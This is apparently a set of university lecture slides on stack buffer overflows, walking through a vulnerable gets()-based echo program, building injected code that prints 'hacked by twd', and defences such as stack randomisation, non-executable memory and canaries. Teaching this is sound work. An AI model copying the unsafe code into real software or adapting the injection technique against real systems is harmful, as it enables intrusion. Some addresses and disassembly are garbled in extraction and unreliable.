CS 33

Machine Programming (4)
String Library Code

- Implementation of Unix function `gets()`

```c
/* Get string from stdin */
char *gets(char *dest)
{
    int c = getchar();
    char *p = dest;
    while (c != EOF && c != '\n') {
        *p++ = c;
        c = getchar();
    }
    *p = '\0';
    return dest;
}
```

- no way to specify limit on number of characters to read

- Similar problems with other library functions
  - `strcpy`, `strcat`: copy strings of arbitrary length
  - `scanf`, `fscanf`, `sscanf`, when given `%s` conversion specification
Vulnerable Buffer Code

```c
/* Echo Line */
void echo()
{
    char buf[4];  /* Way too small! */
    gets(buf);
    puts(buf);
}

int main() {
    echo();
    return 0;
}
```

---

```bash
unix> ./echo
123
123

unix> ./echo
123456789ABCDEF01234567
123456789ABCDEF01234567

unix> ./echo
123456789ABCDEF012345678
Segmentation Fault
```
## Buffer Overflow Disassembly

### echo:

```
000000000040054c <echo>:
  40054c:  48 83 ec 18      sub $0x18,%rsp
  400550:  48 89 e7      mov %rsp,%rdi
  400553:  e8 d8 fe ff ff      callq 400430 <gets@plt>
  400558:  48 89 e7      mov %rsp,%edi
  40055b:  e8 b0 fe ff ff      callq 400410 <puts@plt>
  400560:  48 83 c4 18      add $0x18,%rsp
  400564:  c3      retq
```

### main:

```
0000000000400565 <main>:
  400565:  48 83 ec 08      sub $0x8,%rsp
  400569:  b8 00 00 00 00      mov $0x0,%eax
  40056e:  e8 d9 ff ff ff      callq 40054c <echo>
  400573:  b8 00 00 00 00      mov $0x0,%eax
  400578:  48 83 c4 08      add $0x8,%rsp
  40057c:  c3      retq
```
/* Echo Line */
void echo()
{
    char buf[4]; /* Too small! */
    gets(buf);
    puts(buf);
}

chooser:  
    subq  $24, %rsp
    movq  %rsp, %rdi
    call  gets
    movq  %rsp, %rdi
    call  puts
    addq  $24, %rsp
    ret

Before call to gets

Stack frame for main

Return Address

[3][2][1][0]

%rsp (buf)

Stack frame for echo
Buffer Overflow
Stack Example

Before call to gets

Stack frame for main

Return Address

[3][2][1][0]

Before call to gets

Stack frame for main

00 00 00 00 00 40 05 73

40056e: e8 d9 ff ff ff callq 40054c <echo>
400573: b8 00 00 00 00 mov $0x0,%eax
Buffer Overflow Example #1

Before call to `gets`

Input 1234567

Overflow buf, but no problem

```
40056e: e8 d9 ff ff ff callq 40054c <echo>
400573: b8 00 00 00 00 mov $0x0, %eax
```
Buffer Overflow Example #2

Before call to `gets`

Input 123456789ABCDEF01234567

Still no problem

```
40056e:   e8 d9 ff ff ff   callq 40054c <echo>
400573:   b8 00 00 00 00   mov  $0x0,%eax
```
Buffer Overflow Example #3

Before call to gets

Stack frame for main

Return Address
[3][2][1][0]

Input 123456789ABCDEF012345678

Stack frame for main

00 00 00 00 00 40 05 00
38 37 36 35 34 33 32 31
30 46 45 44 43 42 41 39
38 37 36 35 34 33 32 31

Return address corrupted

40056e: e8 d9 ff ff ff callq 40054c <echo>
400573: b8 00 00 00 00 mov $0x0,%eax
Avoiding Overflow Vulnerability

- Use library routines that limit string lengths
  - fgets instead of gets
  - strncpy instead of strcpy
  - don’t use scanf with %s conversion specification
    » use fgets to read the string
    » or use %ns where n is a suitable integer

```c
/* Echo Line */
void echo()
{
    char buf[4]; /* Way too small! */
    fgets(buf, 4, stdin);
    puts(buf);
}
```
Malicious Use of Buffer Overflow

- Input string contains byte representation of executable code
- Overwrite return address $A$ with address of buffer $buf$
- \textbf{When} \texttt{echo()} \textbf{executes} \texttt{ret}, will jump to exploit code
int main( ) {
    char buf[80];
    gets(buf);
    puts(buf);
    return 0;
}

main:
    subq $88, %rsp  # grow stack
    movq %rsp, %rdi  # setup arg
    call gets
    movq %rsp, %rdi  # setup arg
    call puts
    movl $0, %eax  # set return value
    addq $88, %rsp  # pop stack
    ret
Crafting the Exploit ...

- Code + padding
  - 96 bytes long
    - 88 bytes for buf
    - 8 bytes for return address

Code (in C):

```c
void exploit() {
    write(1, "hacked by twd\n",
          strlen("hacked by twd\n"));
    exit(0);
}
```
Quiz 1

The exploit code will be read into memory starting at location 0x7fffffff948. What value should be put into the return-address portion of the stack frame?

a) 0
b) 0x7fffffff948
c) 0x7fffffff9a0
d) it doesn’t matter what value goes there
Assembler Code from gcc

```assembly
.file "exploit.c"
.section .rodata.str1.1,"aMS",@progbits,1
.LC0:
.string "hacked by twd\n"
.text
.globl exploit
.type exploit, @function
exploit:
.LFB19:
  .cfi_startproc
  subq $8, %rsp
  .cfi_def_cfa_offset 16
  movl $14, %edx
  movl $.LC0, %esi
  movl $1, %edi
  call write
  movl $0, %edi
  call exit
  .cfi_endproc
.LFE19:
.size exploit, .-exploit
.ident "GCC: (Debian 4.7.2-5) 4.7.2"
.section .note.GNU-stack,"",@progbits
```
Exploit Attempt 1

```assembly
exploit:  # assume start address is 0x7fffffffde948
    subq $8, %rsp  # needed for syscall instructions
    movl $14, %edx  # length of string
    movq $0x7fffffffde973, %rsi  # address of output string
    movl $1, %edi  # write to standard output
    movl $1, %eax  # do a "write" system call
    syscall
    movl $0, %edi  # argument to exit is 0
    movl $60, %eax  # do an "exit" system call
    syscall

str:
    .string "hacked by twd\n"
    nop
    nop
    ...  29 no-ops
    nop
    .quad 0x7fffffffde948
    .byte '\n'
```
Actual Object Code

Disassembly of section .text:

```assembly
0000000000000000 <exploit>:
  0:  48 83 ec 08       sub     $0x8,%rsp
  4:  ba 0e 00 00 00    mov      $0xe,%edx
  9:  48 be 73 e9 ff ff ff movabs   $0x7fffffffe973,%rsi
 10:  7f 00 00         mov      $0x1,%edi
 13:  bf 01 00 00 00    mov      $0x1,%eax
 18:  b8 01 00 00 00    syscall
 1d:  0f 05           syscall
 1f:  bf 00 00 00 00    mov      $0x0,%edi
 24:  b8 3c 00 00 00    mov      $0x3c,%eax
 29:  0f 05           syscall

000000000000002b <str>:
  2b:  68 61 63 6b 65    pushq   $0x656b6361
  30:  64 20 62 79      and     %ah,%fs:0x79(%rdx)
  34:  20 74 77 64      and     %dh,0x64(%rdi,%rsi,2)
  38:  0a 00           or      (%rax),%al
      ...
```

big problem!
Exploit Attempt 2

```
.text
exploit: # starts at 0x7fffffffffe948
subq $8, %rsp
movb $9, %dl
addb $1, %dl
movq $0x7fffffffffe990, %rsi
movb %dl, (%rsi)
movl $14, %edx
movq $0x7fffffffffe984, %rsi
movl $1, %edi
movl $1, %eax
syscall
movl $0, %edi
movl $60, %eax
syscall
```

```
str:
.string "hacked by twd"
nop
nop
... 13 no-ops
nop
.quad 0x7fffffffffe948
.byte \n'
```

append 0a to str
### Actual Object Code, part 1

Disassembly of section `.text`:

```
0000000000000000 <exploit>:
   0:  48 83 ec 08            sub    $0x8,%rsp
   4:  b2 09                 mov    $0x9,%dl
   6:  80 c2 01              add    $0x1,%dl
   9:  48 be 90 e9 ff ff ff  movabs $0x7fffffffe990,%rsi
  10:  7f 00 00
  13:  88 16                 mov    %dl,(%rsi)
  15:  ba 0e 00 00 00       mov    $0xe,%edx
  1a:  48 be 84 e9 ff ff ff movabs $0x7fffffff984,%rsi
  21:  7f 00 00
  24:  bf 01 00 00 00       mov    $0x1,%edi
  29:  b8 01 00 00 00       mov    $0x1,%eax
  2e:  0f 05                 syscall
  30:  bf 00 00 00 00       mov    $0x0,%edi
  35:  b8 3c 00 00 00       mov    $0x3c,%eax
  3a:  0f 05                 syscall
```

Actual Object Code, part 2

000000000000003c <str>:

```
th:   68 61 63 6b 65                  pushq $0x656b6361
41:   64 20 62 79                  and %ah,%fs:0x79(%rdx)
45:   20 74 77 64                  and %dh,0x64(%rdi,%rsi,2)
49:   00 90 90 90 90 90          add %dl,-0x6f6f6f70(%rax)
4f:   90                       nop
50:   90                       nop
51:   90                       nop
52:   90                       nop
53:   90                       nop
54:   90                       nop
55:   90                       nop
56:   90                       nop
57:   48 e9 ff ff ff ff 7f      jmpq 8000005c <str+0x80000020>
5d:   00 00                  add %al,(%rax)
5f:   0a                       .byte 0xa
```
Quiz 2

int main( ) {
    char buf[80];
    gets(buf);
    puts(buf);
    return 0;
}

main:
    subq $88, %rsp  # grow stack
    movq %rsp, %rdi  # setup arg
    call gets
    movq %rsp, %rdi  # setup arg
    call puts
    movl $0, %eax  # set return value
    addq $88, %rsp  # pop stack
    ret

Exploit Code (in C):

```c
void exploit() {
    write(1, "hacked by twd\n", 15);
    exit(0);
}
```

The exploit code is executed:

- a) before the call to `gets`
- b) before the call to `puts`, but after `gets` returns
- c) after the call to `puts`
System-Level Protections

• Randomized stack offsets
  – at start of program, allocate random amount of space on stack
  – makes it difficult for hacker to predict beginning of inserted code

• Non-executable code segments
  – in traditional x86, can mark region of memory as either “read-only” or “writeable”
    » can execute anything readable
  – modern hardware requires explicit “execute” permission

unix> gdb echo
(gdb) break echo
(gdb) run
(gdb) print /x $rsp
$1 = 0x7fffffffcc638
(gdb) run
(gdb) print /x $rsp
$2 = 0x7fffffffccbb08
(gdb) run
(gdb) print /x $rsp
$3 = 0x7fffffffcc6a8
Stack Canaries

• Idea
  – place special value ("canary") on stack just beyond buffer
  – check for corruption before exiting function

• gcc implementation
  – -fstack-protector
  – -fstack-protector-all

```
unix>./echo-protected
Type a string: 1234
1234
```

```
unix>./echo-protected
Type a string: 12345
*** stack smashing detected ***
```
Protected Buffer Disassembly

0000000000400610 <echo>:

400610: 48 83 ec 18  sub  $0x18,%rsp
400614: 64 48 8b 04 25 28 00  mov  %fs:0x28,%rax
40061b: 00 00
40061d: 48 89 44 24 08  mov  %rax,0x8(%rsp)
400622: 31 c0  xor  %eax,%eax
400624: 48 89 e7  mov  %rsp,%rdi
400627: e8 c4 fe ff ff  callq  4004f0 <gets@plt>
40062c: 48 89 e7  mov  %rsp,%rdi
40062f: e8 7c fe ff ff  callq  4004b0 <puts@plt>
400634: 48 8b 44 24 08  mov  0x8(%rsp),%rax
400639: 64 48 33 04 25 28 00  xor  %fs:0x28,%rax
400640: 00 00
400642: 74 05  je  400649 <echo+0x39>
400644: e8 77 fe ff ff  callq  4004c0 <__stack_chk_fail@plt>
400649: 48 83 c4 18  add  $0x18,%rsp
40064d: c3  retq
Setting Up Canary

Before call to gets

Stack frame for main

Return address

Canary

buf

[3][2][1][0]

/* Echo Line */
void echo()
{
    char buf[4]; /* Way too small! */
    gets(buf);
    puts(buf);
}

Return address

Stack frame for main

Canary

buf

[3][2][1][0]

%rsp

echo:
    ...  
    movq %fs:40, %rax   # Get canary  
    movq %rax, 8(%rsp)  # Put on stack  
    xorl %eax, %eax    # Erase canary  
    ...
Checking Canary

/* Echo Line */
void echo()
{
    char buf[4]; /* Way too small! */
geets(buf);
puts(buf);
}

After call to gets

Stack frame for main

Return address

Canary

buf

[rsp][3][2][1][0]

%rsp

echo:

... 
movq 8(%rsp), %rax  # Retrieve from stack
xorq %fs:40, %rax  # Compare with Canary
je .L2  # Same: skip ahead
call __stack_chk_fail  # ERROR
.L2:

...